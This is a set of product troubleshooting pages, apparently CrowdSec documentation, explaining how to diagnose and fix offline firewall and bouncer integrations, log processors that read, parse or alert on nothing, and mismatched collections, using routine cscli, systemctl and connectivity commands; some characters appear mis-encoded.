Getting Help[โ€‹](#getting-help "Direct link to Getting Help") If your firewall integration still shows as offline after following these steps: * Consult your [firewall's integration documentation](https://docs.crowdsec.net/u/integrations/blocklists/intro) * Share firewall logs on [Discourse](https://discourse.crowdsec.net/) * Ask on [Discord](https://discord.gg/crowdsec) with firewall model and error messages * Contact CrowdSec support via Console if BLaaS endpoint issues persist --- # Firewall Integration Pulling Zero IPs The **Firewall Integration Pulling Zero IPs** issue means that none of its subscribed blocklists have IPs in them. ## What Triggers This Issue[โ€‹](#what-triggers-this-issue "Direct link to What Triggers This Issue") * **Trigger condition**: On your last Pull your integration content was empty. * **Criticality**: โš ๏ธ High * **Impact**: Firewall pulling empty content โ€” not contributing to protection. ## Common Root Causes[โ€‹](#common-root-causes "Direct link to Common Root Causes") * [**No blocklist subscriptions**](#diagnosis--resolution): The integration has no blocklists subscribed to it, so the endpoint has nothing to return. * [**All subscribed blocklists are empty**](#diagnosis--resolution): The subscribed blocklists currently contain no entries (rare, but possible for user created or dynamic lists). ## Diagnosis & Resolution[โ€‹](#diagnosis--resolution "Direct link to Diagnosis & Resolution") This is the most common cause. When a Firewall integration is created in the Console, it must have at least one blocklist subscribed to it before the endpoint will return any IPs. #### ๐Ÿ”Ž See blocklists subscriptions for your integration[โ€‹](#-see-blocklists-subscriptions-for-your-integration "Direct link to ๐Ÿ”Ž See blocklists subscriptions for your integration") 1. Navigate to **Blocklists > Integrations** 2. Look if the mentioned integration's tile to see if it has Blocklists * If **no blocklists** are listed, the BLaaS endpoint will return an empty list on every pull. * **User made blocklists** you have created might be empty * Note that the premium-tier blocklist [**Threat Forecast Blocklist**](https://docs.crowdsec.net/u/console/threat_forecast.md), generated specially for your organization, might be empty if you share no or too few signals #### ๐Ÿ› ๏ธ Solution: subscribe to one or more blocklists[โ€‹](#๏ธ-solution-subscribe-to-one-or-more-blocklists "Direct link to ๐Ÿ› ๏ธ Solution: subscribe to one or more blocklists") 1. Browse the [blocklists catalogue โ†—๏ธ](https://app.crowdsec.net/blocklists/search) via the left side menu or by clicking **Add Blocklist** on your integration tile. 2. Follow the [blocklists subscription documentation](https://docs.crowdsec.net/u/console/blocklists/subscription.md) ## Related Issues[โ€‹](#related-issues "Direct link to Related Issues") * [Firewall Integration Offline](https://docs.crowdsec.net/u/troubleshooting/issue_integration_fw_offline.md) โ€” If the firewall has stopped pulling entirely * [Remediation Component Integration Offline](https://docs.crowdsec.net/u/troubleshooting/issue_integration_rc_offline.md) โ€” Similar issue for RC-based integrations ## Getting Help[โ€‹](#getting-help "Direct link to Getting Help") If your firewall integration still shows zero IPs after subscribing to blocklists: * Check [Discourse](https://discourse.crowdsec.net/) for similar cases * Ask on [Discord](https://discord.gg/crowdsec) with your integration configuration * Contact CrowdSec support via the Console --- # Remediation Component Integration Offline The **Remediation Component Integration Offline** issue means a [Blocklist integration of type Remediation Component](https://docs.crowdsec.net/u/integrations/remediationcomponent.md) has not pulled from its endpoint for more than 24 hours. This issue applies to Remediation Components *(aka bouncers)* directly connected to a **Blocklist integration endpoint** *(aka Blocklist as a Service / BLaaS)*. ## What Triggers This Issue[โ€‹](#what-triggers-this-issue "Direct link to What Triggers This Issue") * **Trigger condition**: No pull for 24 hours * **Criticality**: ๐Ÿ”ฅ Critical * **Impact**: Latest blocklist updates not retrieved and potential malfunction of the remediation component. ## Common Root Causes[โ€‹](#common-root-causes "Direct link to Common Root Causes") * [**Configuration errors**](#configuration-errors): Incorrect or missing API URL or API Key in bouncer's configuration file, or malformed settings. * [**Bouncer service stopped or not loaded**](#bouncer-service-stopped-or-not-loaded): The bouncer daemon, module, or plugin is not running or not enabled. * [**Network connectivity issues**](#network-connectivity-issues): The bouncer cannot reach the endpoint. ## Diagnosis & Resolution[โ€‹](#diagnosis--resolution "Direct link to Diagnosis & Resolution") Depending on the bouncer type, check installation status, configuration, and runtime status. Refer to your [remediation component documentation](https://docs.crowdsec.net/u/bouncers/intro.md) for detailed setup and troubleshooting. ### Configuration errors[โ€‹](#configuration-errors "Direct link to Configuration errors") #### ๐Ÿ”Ž Verify bouncer configuration has correct API URL and key[โ€‹](#-verify-bouncer-configuration-has-correct-api-url-and-key "Direct link to ๐Ÿ”Ž Verify bouncer configuration has correct API URL and key") For Blocklist-as-a-Service (BLaaS) connectivity, verify that the bouncer configuration has the correct API URL and key: 1. **api\_url**: Must point to your BLaaS endpoint (e.g., `https://admin.api.crowdsec.net/v1/decisions/stream`) 2. **api\_key**: Your BLaaS API key *(found in Console, in your Blocklist integration section, at creation or via "Refresh Credentials")* info Property names and configuration file locations vary by bouncer type. Check your [remediation component documentation](https://docs.crowdsec.net/u/bouncers/intro.md) for specifics. Common configuration file location: `/etc/crowdsec/bouncers/crowdsec--bouncer.conf` SHCOPY ``` # Example: Check configuration file sudo cat /etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf ``` #### ๐Ÿ› ๏ธ Update bouncer configuration and restart service[โ€‹](#๏ธ-update-bouncer-configuration-and-restart-service "Direct link to ๐Ÿ› ๏ธ Update bouncer configuration and restart service") Update the bouncer configuration file with the correct API URL and API key. Example: SHCOPY ``` # [...] API_URL=https://admin.api.crowdsec.net/v1/decisions/stream API_KEY= UPDATE_FREQUENCY=10s # [...] ``` After updating, restart the bouncer service or reload your web server.
See your [remediation component documentation](https://docs.crowdsec.net/u/bouncers/intro.md) for specific configuration parameters and restart procedures. ### Bouncer service stopped or not loaded[โ€‹](#bouncer-service-stopped-or-not-loaded "Direct link to Bouncer service stopped or not loaded") #### ๐Ÿ”Ž Check bouncer service status and logs[โ€‹](#-check-bouncer-service-status-and-logs "Direct link to ๐Ÿ”Ž Check bouncer service status and logs") Verify that the bouncer is running and check for errors. The method depends on your bouncer type: * Some Bouncers are modules/plugins (NGINX, Apache...) * Some are independent processes interacting with a service, via provided config or API (NFtables, Cloudflare,...) **For modules/plugins:** Check service logs for module loading/runtime issues. **For standalone processes:** Make sure the process is running and logs do not contain startup errors. ### Network connectivity issues[โ€‹](#network-connectivity-issues "Direct link to Network connectivity issues") #### ๐Ÿ”Ž Test connectivity to BLaaS endpoint[โ€‹](#-test-connectivity-to-blaas-endpoint "Direct link to ๐Ÿ”Ž Test connectivity to BLaaS endpoint") From the bouncer host, test network connectivity: SHCOPY ``` # Test basic connectivity curl -I https://admin.api.crowdsec.net/ # Test with API key (should return JSON response) curl -H "X-Api-Key: " \ https://admin.api.crowdsec.net/v1/decisions/stream ``` #### ๐Ÿ› ๏ธ Fix network connectivity issues[โ€‹](#๏ธ-fix-network-connectivity-issues "Direct link to ๐Ÿ› ๏ธ Fix network connectivity issues") If the bouncer cannot reach the BLaaS endpoint: 1. **Check firewall rules** - Ensure outbound HTTPS (443) is allowed 2. **Configure proxy settings** if behind a corporate proxy - see your bouncer's documentation See [Network Management documentation](https://docs.crowdsec.net/docs/configuration/network_management) for required endpoints. ## Verify Resolution[โ€‹](#verify-resolution "Direct link to Verify Resolution") After making changes: 1. **Wait 1-2 minutes** for the bouncer to attempt its next pull from the endpoint 2. **Check in the Console** - Navigate to your Blocklist integration and verify the "Last Pull" timestamp has updated. The offline alert should clear automatically. ## Remediation Component Documentation[โ€‹](#remediation-component-documentation "Direct link to Remediation Component Documentation") For detailed setup, configuration, and troubleshooting specific to your bouncer type, see: * [All Remediation Components](https://docs.crowdsec.net/u/bouncers/intro.md) * Individual bouncer pages (NGINX, Traefik, HAProxy, Cloudflare, WordPress, etc.) ## Related Issues[โ€‹](#related-issues "Direct link to Related Issues") * [Firewall Integration Offline](https://docs.crowdsec.net/u/troubleshooting/issue_integration_fw_offline.md) - Similar issue for firewall bouncers * [Remediation Components Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/remediation_components.md) - General bouncer issues ## Getting Help[โ€‹](#getting-help "Direct link to Getting Help") If your bouncer still doesn't work after following these steps: * Consult your [remediation component documentation](https://docs.crowdsec.net/u/bouncers/intro.md) * Share config and logs on [Discourse](https://discourse.crowdsec.net/) * Ask on [Discord](https://discord.gg/crowdsec) with bouncer logs and configuration * Report bugs on the bouncer's GitHub repository --- # Log Processor No Alerts The **Log Processor No Alerts** issue appears when a specific Log Processor is running and communicating with the Local API but has not generated alerts in the last 48 hours. This is similar to [Security Engine No Alerts](https://docs.crowdsec.net/u/troubleshooting/issue_se_no_alerts.md) but applies to individual Log Processor instances in distributed setups. ## What Triggers This Issue[โ€‹](#what-triggers-this-issue "Direct link to What Triggers This Issue") * **Trigger condition**: Log Processor online but no alerts for 48 hours * **Criticality**: โš ๏ธ High * **Impact**: Detection may not be working on this specific agent ## Common Root Causes[โ€‹](#common-root-causes "Direct link to Common Root Causes") * **Scenarios in simulation mode**: Detection scenarios are installed but running in simulation mode on this agent. * **Low-activity monitored service**: The service monitored by this Log Processor may genuinely have no malicious activity. ## Other Issues[โ€‹](#other-issues "Direct link to Other Issues") * ๐Ÿ”— **[No logs being read](https://docs.crowdsec.net/u/troubleshooting/issue_lp_no_logs_read.md)**: The acquisition configuration on this specific Log Processor may be missing, disabled, or pointing to empty sources. * ๐Ÿ”— **[No logs being parsed](https://docs.crowdsec.net/u/troubleshooting/issue_lp_no_logs_parsed.md)**: Logs are being read but parsers can't process them due to format mismatches or missing collections. If the issue is not caused by the items above, continue with the diagnosis and resolutions below. ## Diagnosis & Resolution[โ€‹](#diagnosis--resolution "Direct link to Diagnosis & Resolution") Refer to the [Security Engine No Alerts](https://docs.crowdsec.net/u/troubleshooting/issue_se_no_alerts.md#diagnosis--resolution) section. ## Distributed Setup Considerations[โ€‹](#distributed-setup-considerations "Direct link to Distributed Setup Considerations") In multi-agent deployments: * **Each agent processes its own logs independently** * **Agents forward alerts to the Local API** * **One agent having no alerts doesn't affect others** If multiple agents show no alerts, review: * Common configuration issues (e.g., centralized config management problems) * Network connectivity between agents and LAPI * Synchronized collection installations across all agents ## Related Issues[โ€‹](#related-issues "Direct link to Related Issues") * [Engine No Alerts](https://docs.crowdsec.net/u/troubleshooting/issue_se_no_alerts.md) - Similar issue at the Security Engine level * [Log Processor No Logs Read](https://docs.crowdsec.net/u/troubleshooting/issue_lp_no_logs_read.md) - If acquisition is not working * [Log Processor No Logs Parsed](https://docs.crowdsec.net/u/troubleshooting/issue_lp_no_logs_parsed.md) - If parsing is failing * [Log Processor Offline](https://docs.crowdsec.net/u/troubleshooting/issue_lp_offline.md) - If the agent is not communicating at all ## Getting Help[โ€‹](#getting-help "Direct link to Getting Help") If you've verified logs are being read and parsed but still see no alerts: * Share your setup details on [Discourse](https://discourse.crowdsec.net/) * Ask on [Discord](https://discord.gg/crowdsec) with `cscli metrics` output --- # Log Processor No Logs Parsed The **Log Processor No Logs Parsed** issue indicates that logs are being **read** by the Log Processor, but none are being **parsed** correctly in the last 48 hours.
This means the acquisition is working, but parsers can't interpret the log format. ## What Triggers This Issue[โ€‹](#what-triggers-this-issue "Direct link to What Triggers This Issue") * **Trigger condition**: Logs read but no successful parsing for 48 hours * **Criticality**: ๐Ÿ”ฅ Critical * **Impact**: No events generated means no detection or alerts possible ## Common Root Causes[โ€‹](#common-root-causes "Direct link to Common Root Causes") * [**Missing collection or parsers**](#missing-collection-or-parsers): The required parser collection for your log format isn't installed. * [**Custom or unexpected log format**](#acquisition-typeprogram-mismatch): Logs don't match the format expected by the parser (custom format, version mismatch, etc.). ## Diagnosis & Resolution[โ€‹](#diagnosis--resolution "Direct link to Diagnosis & Resolution") ### Missing Collection or Parsers[โ€‹](#missing-collection-or-parsers "Direct link to Missing Collection or Parsers") #### ๐Ÿ”Ž Check parsing metrics and installed collections[โ€‹](#-check-parsing-metrics-and-installed-collections "Direct link to ๐Ÿ”Ž Check parsing metrics and installed collections") SHCOPY ``` sudo cscli metrics show acquisition parsers ``` Run this command for Docker or Kubernetes SHCOPY ``` docker exec crowdsec cscli metrics show acquisition parsers ``` SHCOPY ``` kubectl exec -n crowdsec -it -- cscli metrics show acquisition parsers ``` **What to look for:** * **Acquisition**: "Lines read" should be > 0 (confirms logs are being read) * **Parsers**: "Lines parsed" should be > 0 (currently 0 means parsing is failing) * **Unparsed lines**: Check if there's a high "unparsed" count Check installed collections and parsers: SHCOPY ``` sudo cscli collections list ``` SHCOPY ``` sudo cscli parsers list ``` #### ๐Ÿ› ๏ธ Install required collections for your log formats[โ€‹](#๏ธ-install-required-collections-for-your-log-formats "Direct link to ๐Ÿ› ๏ธ Install required collections for your log formats") Most services have a collection that includes parsers and scenarios. * Search the [CrowdSec Hub โ†—๏ธ](https://app.crowdsec.net/hub) for a collection with the name of the service you want to protect. * Or a [specific log parser โ†—๏ธ](https://app.crowdsec.net/hub/log-parsers) if you do not find a collection * [Get help from the community](#getting-help) to understand what collections you need. ### Acquisition Type/Program Mismatch[โ€‹](#acquisition-typeprogram-mismatch "Direct link to Acquisition Type/Program Mismatch") The log type defined in acquisition is linked to parsing. A mismatch can prevent the correct parser from being selected. ๐Ÿ’ก If you are reading a program log file directly, the type usually matches the program name.
If you are reading logs from a stream (for example, syslog), parsing usually starts by identifying the syslog format, so the acquisition type is `syslog`. info ๐Ÿ’ก If you use default logging systems, this is usually not the root cause. #### ๐Ÿ”Ž Check acquisition labels match parser filters[โ€‹](#-check-acquisition-labels-match-parser-filters "Direct link to ๐Ÿ”Ž Check acquisition labels match parser filters") SHCOPY ``` # Check your acquisition configuration sudo cat /etc/crowdsec/acquis.yaml sudo cat /etc/crowdsec/acquis.d/*.yaml ``` Compare the `type:` (or `program:` in Kubernetes) with installed parser names. #### ๐Ÿ› ๏ธ Fix acquisition labels to match parser FILTER[โ€‹](#๏ธ-fix-acquisition-labels-to-match-parser-filter "Direct link to ๐Ÿ› ๏ธ Fix acquisition labels to match parser FILTER") The acquisition label must match a parser's FILTER: **On Host or Docker:** Check your `acquis.yaml`: YAMLCOPY ``` filenames: - /var/log/nginx/access.log labels: type: nginx # This must match a parser FILTER ``` Common types: * `nginx` - for NGINX logs * `apache2` - for Apache logs * `syslog` - for syslog-formatted logs (SSH, etc.) * `mysql` - for MySQL logs * `postgres` - for PostgreSQL logs * ๐Ÿ’ก for the exact type you can look at the [filter](#parser-filter-not-matching) in the parser yaml files **Kubernetes:** In Kubernetes, use `program:` instead of `type:`: YAMLCOPY ``` agent: acquisition: - namespace: production podName: nginx-* program: nginx # This must match parser FILTER ``` **After changing configuration:** SHCOPY ``` sudo systemctl restart crowdsec # or docker restart crowdsec # or helm upgrade (for Kubernetes) ``` ### Parser FILTER Not Matching[โ€‹](#parser-filter-not-matching "Direct link to Parser FILTER Not Matching") #### ๐Ÿ”Ž Inspect parser FILTER requirements[โ€‹](#-inspect-parser-filter-requirements "Direct link to ๐Ÿ”Ž Inspect parser FILTER requirements") If a parser is installed but not matching, check its FILTER: SHCOPY ``` # View parser details sudo cscli parsers inspect crowdsecurity/nginx-logs # Look for the "filter" field # Example: filter: "evt.Parsed.program == 'nginx'" ``` The FILTER must match your acquisition label. If your label is `type: nginx`, the parser FILTER should check `evt.Line.Labels.type == "nginx"` or `evt.Parsed.program == "nginx"`. #### ๐Ÿ› ๏ธ Update acquisition configuration to match FILTER[โ€‹](#๏ธ-update-acquisition-configuration-to-match-filter "Direct link to ๐Ÿ› ๏ธ Update acquisition configuration to match FILTER") Ensure your acquisition configuration uses labels that match the parser's FILTER. Refer to the "Acquisition Type/Program Mismatch" section above for examples. ## Common Parser FILTER Values[โ€‹](#common-parser-filter-values "Direct link to Common Parser FILTER Values") | Service | Acquisition Label | Parser FILTER | | ------------ | ------------------ | ----------------------------------- | | NGINX | `type: nginx` | `evt.Line.Labels.type == "nginx"` | | Apache | `type: apache2` | `evt.Line.Labels.type == "apache2"` | | SSH (syslog) | `type: syslog` | `evt.Line.Labels.type == "syslog"` | | Traefik | `program: traefik` | `evt.Parsed.program == "traefik"` | | MySQL | `type: mysql` | `evt.Line.Labels.type == "mysql"` | ## Related Issues[โ€‹](#related-issues "Direct link to Related Issues") * [Log Processor No Logs Read](https://docs.crowdsec.net/u/troubleshooting/issue_lp_no_logs_read.md) - If logs aren't being read at all * [Log Processor No Alerts](https://docs.crowdsec.net/u/troubleshooting/issue_lp_no_alerts.md) - If logs are parsed but scenarios don't trigger * [Engine No Alerts](https://docs.crowdsec.net/u/troubleshooting/issue_se_no_alerts.md) - Similar issue at the Security Engine level ## Getting Help[โ€‹](#getting-help "Direct link to Getting Help") If parsing still fails: * Test your logs in [CrowdSec Playground](https://playground.crowdsec.net/) * Share your log samples and acquisition config on [Discourse](https://discourse.crowdsec.net/) * Ask on [Discord](https://discord.gg/crowdsec) with `cscli collections list` and `cscli parsers list` output * Check parser documentation on the [Hub](https://app.crowdsec.net/hub/parsers) --- # Log Processor No Logs Read The **Log Processor No Logs Read** issue means the LP is running but has not acquired any log lines in the last 24 hours.
This is the first step in the detection pipeline and must work for CrowdSec to function. ## What Triggers This Issue[โ€‹](#what-triggers-this-issue "Direct link to What Triggers This Issue") * **Trigger condition**: No logs acquired for 24 hours * **Criticality**: ๐Ÿ”ฅ Critical * **Impact**: Complete detection failure - no logs means no alerts ## Common Root Causes[โ€‹](#common-root-causes "Direct link to Common Root Causes") * [**Missing or incorrect acquisition configuration**](#missing-acquisition-configuration): No acquisition files exist, or they do not reference the correct datasource * [**File permission issues**](#file-permission-issues): CrowdSec doesn't have read access to the log files. * [**Log files are empty or not being written**](#log-files-empty-or-not-being-written): The services being monitored aren't generating logs. * [**Incorrect Acquisition endpoint configuration**](#detailed-acquisition-documentation): Error in endpoint config, for acquisition types listening for incoming data (httpLogs, syslog,...) * [**Acquisition type mismatch**](#detailed-acquisition-documentation): Wrong datasource type configured (e.g., using `file` instead of `journald`). * **Container/Kubernetes volume issues**: In containerized deployments, logs aren't mounted or accessible to the CrowdSec container. ## Diagnosis & Resolution[โ€‹](#diagnosis--resolution "Direct link to Diagnosis & Resolution") ### Missing Acquisition Configuration[โ€‹](#missing-acquisition-configuration "Direct link to Missing Acquisition Configuration") #### ๐Ÿ”Ž Check if acquisition configuration exists[โ€‹](#-check-if-acquisition-configuration-exists "Direct link to ๐Ÿ”Ž Check if acquisition configuration exists") SHCOPY ``` # Default single file acquisition configuration sudo cat /etc/crowdsec/acquis.yaml # Recommended, per-datasource acquisitions configuration files sudo ls -la /etc/crowdsec/acquis.d/ ``` Run this command for Docker or Kubernetes SHCOPY ``` docker exec crowdsec cat /etc/crowdsec/acquis.yaml docker exec crowdsec ls -la /etc/crowdsec/acquis.d/ ``` SHCOPY ``` kubectl get configmap -n crowdsec -o yaml ``` If these files are empty or missing, create acquisition configuration. Also check acquisition metrics: SHCOPY ``` sudo cscli metrics show acquisition ``` Run this command for Docker or Kubernetes SHCOPY ``` docker exec crowdsec cscli metrics show acquisition ``` SHCOPY ``` kubectl exec -n crowdsec -it -- cscli metrics show acquisition ``` **What to look for:** * If the output is empty or shows 0 "Lines read", acquisition is not working * If sources are listed but "Lines read" is 0, the source exists but isn't reading data #### ๐Ÿ› ๏ธ Create acquisition configuration for your deployment[โ€‹](#๏ธ-create-acquisition-configuration-for-your-deployment "Direct link to ๐Ÿ› ๏ธ Create acquisition configuration for your deployment") The acquisition configuration tells CrowdSec which logs to read. Configuration varies by deployment: * For [file based logs](https://docs.crowdsec.net/log_processor/data_sources/file) * Or [any other type of *datasource*](https://docs.crowdsec.net/log_processor/data_sources/intro) ### File Permission Issues[โ€‹](#file-permission-issues "Direct link to File Permission Issues") #### ๐Ÿ”Ž Test if CrowdSec can read log files[โ€‹](#-test-if-crowdsec-can-read-log-files "Direct link to ๐Ÿ”Ž Test if CrowdSec can read log files") SHCOPY ``` # Check logs permissions to see if they can be read by CrowdSec ls -la /var/log/nginx/ ``` #### ๐Ÿ› ๏ธ Grant CrowdSec read access to log files[โ€‹](#๏ธ-grant-crowdsec-read-access-to-log-files "Direct link to ๐Ÿ› ๏ธ Grant CrowdSec read access to log files") If CrowdSec can't read log files: SHCOPY ``` # Or adjust log file permissions or find files you have read access to sudo chmod 644 /var/log/nginx/access.log # Restart CrowdSec to pick up group membership sudo systemctl restart crowdsec ``` ### Log Files Empty or Not Being Written[โ€‹](#log-files-empty-or-not-being-written "Direct link to Log Files Empty or Not Being Written") #### ๐Ÿ”Ž๐Ÿ› ๏ธ Verify log files exist and have recent content[โ€‹](#๏ธ-verify-log-files-exist-and-have-recent-content "Direct link to ๐Ÿ”Ž๐Ÿ› ๏ธ Verify log files exist and have recent content") SHCOPY ``` # Verify log file exists ls -la /var/log/nginx/access.log # Check if it has recent content tail -10 /var/log/nginx/access.log # Check last modification time stat /var/log/nginx/access.log ``` ๐Ÿ› ๏ธ If your files are empty fix your logging or change your acquisition configuration to point at the appropriate files ## Detailed Acquisition Documentation[โ€‹](#detailed-acquisition-documentation "Direct link to Detailed Acquisition Documentation") For more information on acquisition configuration: * [Datasources Documentation](https://docs.crowdsec.net/docs/log_processor/data_sources/intro) * [File datasource](https://docs.crowdsec.net/docs/log_processor/data_sources/file) * [Journald datasource](https://docs.crowdsec.net/docs/log_processor/data_sources/journald) * [Hub collection pages](https://app.crowdsec.net/hub/collections) - each collection shows example acquisition config ## Related Issues[โ€‹](#related-issues "Direct link to Related Issues") * [Log Processor No Logs Parsed](https://docs.crowdsec.net/u/troubleshooting/issue_lp_no_logs_parsed.md) - Next step if logs are read but not parsed * [Log Processor No Alerts](https://docs.crowdsec.net/u/troubleshooting/issue_lp_no_alerts.md) - If logs are read and parsed but scenarios don't trigger * [Engine No Alerts](https://docs.crowdsec.net/u/troubleshooting/issue_se_no_alerts.md) - Similar issue at the Security Engine level ## Getting Help[โ€‹](#getting-help "Direct link to Getting Help") If acquisition still does not work: * Share your acquisition config on [Discourse](https://discourse.crowdsec.net/) * Ask on [Discord](https://discord.gg/crowdsec) with your `cscli metrics` output and acquisition files * Check for similar issues in the [GitHub repository](https://github.com/crowdsecurity/crowdsec/issues) --- # Log Processor Offline info LogProcessors are Security Engine used to read log in a distributed setup.
In a standalone install your unique Security Engine registers itself as a LogProcessing machine. This issue appears when a Log Processor has not checked in with the Local API (LAPI) of the central Security Engine for more than 24 hours. ## What Triggers This Issue[โ€‹](#what-triggers-this-issue "Direct link to What Triggers This Issue") * **Trigger condition**: Log Processor has not checked in with Local API for more than 24 hours * **Criticality**: ๐Ÿ”ฅ Critical * **Impact**: Services supposed to be watched by this LP are not anymore - potential threats undetected ## Common Root Causes[โ€‹](#common-root-causes "Direct link to Common Root Causes") * [**Service stopped or stuck**](#service-stopped-or-stuck): The crowdsec service of this LP has crashed, hung, or was manually stopped on the agent host. * [**Machine not validated or credentials revoked**](#machine-credentials-need-validation): The agent's credentials are pending validation, were removed from the central LAPI, or the credentials file is missing/corrupt. * [**Local API unreachable from agent**](#central-lapi-unreachable-from-agent): Network issues, firewall rules, or configuration errors prevent the agent from connecting to the LAPI endpoint. ## Diagnosis & Resolution[โ€‹](#diagnosis--resolution "Direct link to Diagnosis & Resolution") ### Service Stopped or Stuck[โ€‹](#service-stopped-or-stuck "Direct link to Service Stopped or Stuck") #### ๐Ÿ”Ž Check Log Processor service status[โ€‹](#-check-log-processor-service-status "Direct link to ๐Ÿ”Ž Check Log Processor service status") Confirm the service state on the host: SHCOPY ``` sudo systemctl status crowdsec ``` Or [check the logs](https://docs.crowdsec.net/u/troubleshooting/security_engine.md#where-are-the-logs-stored) of your Security Engine. For containerised deployments, verify the workload is still running SHCOPY ``` docker ps --filter name=crowdsec ``` SHCOPY ``` kubectl get pods -n crowdsec ``` On the LAPI node, run `sudo cscli machines list` and check whether the `Last Update` column is older than 24 hours for the affected machine. #### ๐Ÿ› ๏ธ Restart Log Processor service and verify check-in[โ€‹](#๏ธ-restart-log-processor-service-and-verify-check-in "Direct link to ๐Ÿ› ๏ธ Restart Log Processor service and verify check-in") Restart the Log Processor service: SHCOPY ``` sudo systemctl restart crowdsec ``` Run this command for Docker or Kubernetes SHCOPY ``` docker restart crowdsec ``` SHCOPY ``` kubectl rollout restart deployment/crowdsec -n crowdsec ``` After the restart, verify the agent is checking in: SHCOPY ``` sudo cscli machines list ``` Check that the `Last Update` timestamp is recent (within last few minutes). #### ๐Ÿ› ๏ธ Prune dead/out of date Log processors[โ€‹](#๏ธ-prune-deadout-of-date-log-processors "Direct link to ๐Ÿ› ๏ธ Prune dead/out of date Log processors") ๐Ÿ’ก If your Log Processors are clones (common in orchestrated environments like Kubernetes), some LPs can remain registered after instances are removed. *This is a known issue that will be addressed in future CrowdSec versions.* If you're facing such an issue, consider running the [cscli machines prune](https://docs.crowdsec.net/cscli/cscli_machines_prune) command and even cron this pruning every so often if the issue re-appears often. SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l type=lapi -o name) -- cscli machines prune --duration 1h ``` ### Machine Credentials Need Validation[โ€‹](#machine-credentials-need-validation "Direct link to Machine Credentials Need Validation") #### ๐Ÿ”Ž Check machine status on LAPI[โ€‹](#-check-machine-status-on-lapi "Direct link to ๐Ÿ”Ž Check machine status on LAPI") From the LAPI host: SHCOPY ``` sudo cscli machines list ``` Run this command for Docker or Kubernetes SHCOPY ``` docker exec crowdsec cscli machines list ``` SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l type=lapi -o name) -- cscli machines list ``` * If the machine shows in `PENDING` state or is missing entirely, credentials need validation * On the agent host, ensure `/etc/crowdsec/local_api_credentials.yaml` exists and contains valid login and password * If you recently reinstalled or renamed the machine, it must be re-validated #### ๐Ÿ› ๏ธ Regenerate credentials for single machine setups[โ€‹](#๏ธ-regenerate-credentials-for-single-machine-setups "Direct link to ๐Ÿ› ๏ธ Regenerate credentials for single machine setups") info More suitable for single machine setups. To regenerate credentials directly on the LAPI host when the agent runs locally: SHCOPY ``` sudo cscli machines add --auto ``` #### ๐Ÿ› ๏ธ Validate or re-register machines in distributed setups[โ€‹](#๏ธ-validate-or-re-register-machines-in-distributed-setups "Direct link to ๐Ÿ› ๏ธ Validate or re-register machines in distributed setups") info Registration system is more suitable for distributed setups. Approve pending machines on the LAPI: SHCOPY ``` sudo cscli machines list ``` SHCOPY ``` sudo cscli machines validate ``` If credentials were removed or the agent was rebuilt, re-register it against the LAPI: SHCOPY ``` sudo cscli lapi register --url http://:8080 --machine sudo systemctl restart crowdsec ``` Update the `--url` to match your deployment. Auto-registration tokens are covered in [Machines management](https://docs.crowdsec.net/u/user_guides/machines_mgmt.md#machine-auto-validation). ### Central LAPI Unreachable from Agent[โ€‹](#central-lapi-unreachable-from-agent "Direct link to Central LAPI Unreachable from Agent") #### ๐Ÿ”Ž Test LAPI connectivity from agent[โ€‹](#-test-lapi-connectivity-from-agent "Direct link to ๐Ÿ”Ž Test LAPI connectivity from agent") From the agent host, test connectivity to the LAPI: SHCOPY ``` # On host sudo cscli lapi status # Docker docker exec crowdsec-agent cscli lapi status # Kubernetes kubectl exec -n crowdsec -it -- cscli lapi status ``` Look at your logs and test network connectivity: SHCOPY ``` nc -zv 8080 ``` #### Fix network connectivity and firewall rules[โ€‹](#fix-network-connectivity-and-firewall-rules "Direct link to Fix network connectivity and firewall rules") Open the required port on firewalls or security groups: SHCOPY ``` # Test connectivity nc -zv 8080 # If using firewall, ensure port is open sudo ufw allow 8080/tcp # or sudo firewall-cmd --add-port=8080/tcp --permanent sudo firewall-cmd --reload ``` If using TLS: * Update the agent trust store (`ca_cert` in `/etc/crowdsec/config.yaml`) if certificates were renewed * Temporarily enable `insecure_skip_verify: true` for testing (then fix certificates properly) * Follow [TLS authentication](https://docs.crowdsec.net/docs/local_api/tls_auth) for proper setup If using proxies or load balancers: * Ensure they forward HTTP headers correctly * Verify TLS passthrough or termination is configured properly * Check that the LAPI endpoint is accessible through the proxy ## Verify Resolution[โ€‹](#verify-resolution "Direct link to Verify Resolution") After making changes: 1. Wait 1-2 minutes for the agent to check in 2. Verify on the LAPI host: SHCOPY ``` sudo cscli machines list ``` 3. Check that `Last Update` timestamp is recent (within last few minutes) 4. The Console alert will clear automatically during the next polling cycle ## Related Issues[โ€‹](#related-issues "Direct link to Related Issues") * [Engine No Alerts](https://docs.crowdsec.net/u/troubleshooting/issue_se_no_alerts.md) - If the agent is online but not generating alerts * [Log Processor No Logs Read](https://docs.crowdsec.net/u/troubleshooting/issue_lp_no_logs_read.md) - If acquisition is not working * [Security Engine Troubleshooting](https://docs.crowdsec.net/u/troubleshooting/security_engine.md) - General Security Engine issues ## Getting Help[โ€‹](#getting-help "Direct link to Getting Help") If the agent still shows as offline after following these steps: * Check [Discourse](https://discourse.crowdsec.net/) for similar issues * Ask on [Discord](https://discord.gg/crowdsec) with your `cscli machines list` and `cscli lapi status` output * Share the output of `sudo cscli support dump` if the issue persists Consider adding a [notification rule](https://docs.crowdsec.net/u/console/notification_integrations/rule.md) for **Log Processor Offline** to be alerted promptly when this happens again. --- # Mismatching Collection(s) The **Mismatching Collection(s)** issue appears when a collection is installed but its related log files are not read. For example, `crowdsecurity/nginx` is installed while no nginx logs are being read. ## What Triggers This Issue[โ€‹](#what-triggers-this-issue "Direct link to What Triggers This Issue") * **Trigger condition**: Collection is installed, but no associated logs are read. * **Criticality**: โš ๏ธ High * **Impact**: Service related to the installed collection isn't protected. ## Common Root Causes[โ€‹](#common-root-causes "Direct link to Common Root Causes") * **Missing acquisition**: Collection has been installed, but related acquisition hasn't been configured. * **Uncommon log files**: The acquisition was configured as per the documentation, but the service logs somewhere else. ## Diagnosis & Resolution[โ€‹](#diagnosis--resolution "Direct link to Diagnosis & Resolution") * Refer to the official [Hub page for the collection](https://app.crowdsec.net/hub/collections) and verify that the required acquisition configuration is present. For example, if you installed [crowdsecurity/nginx](https://app.crowdsec.net/hub/author/crowdsecurity/collections/nginx), ensure that you added the recommended acquisition configuration. Look for existing acquisition in `/etc/crowdsec/acquis.yaml` or add the needed one(s): 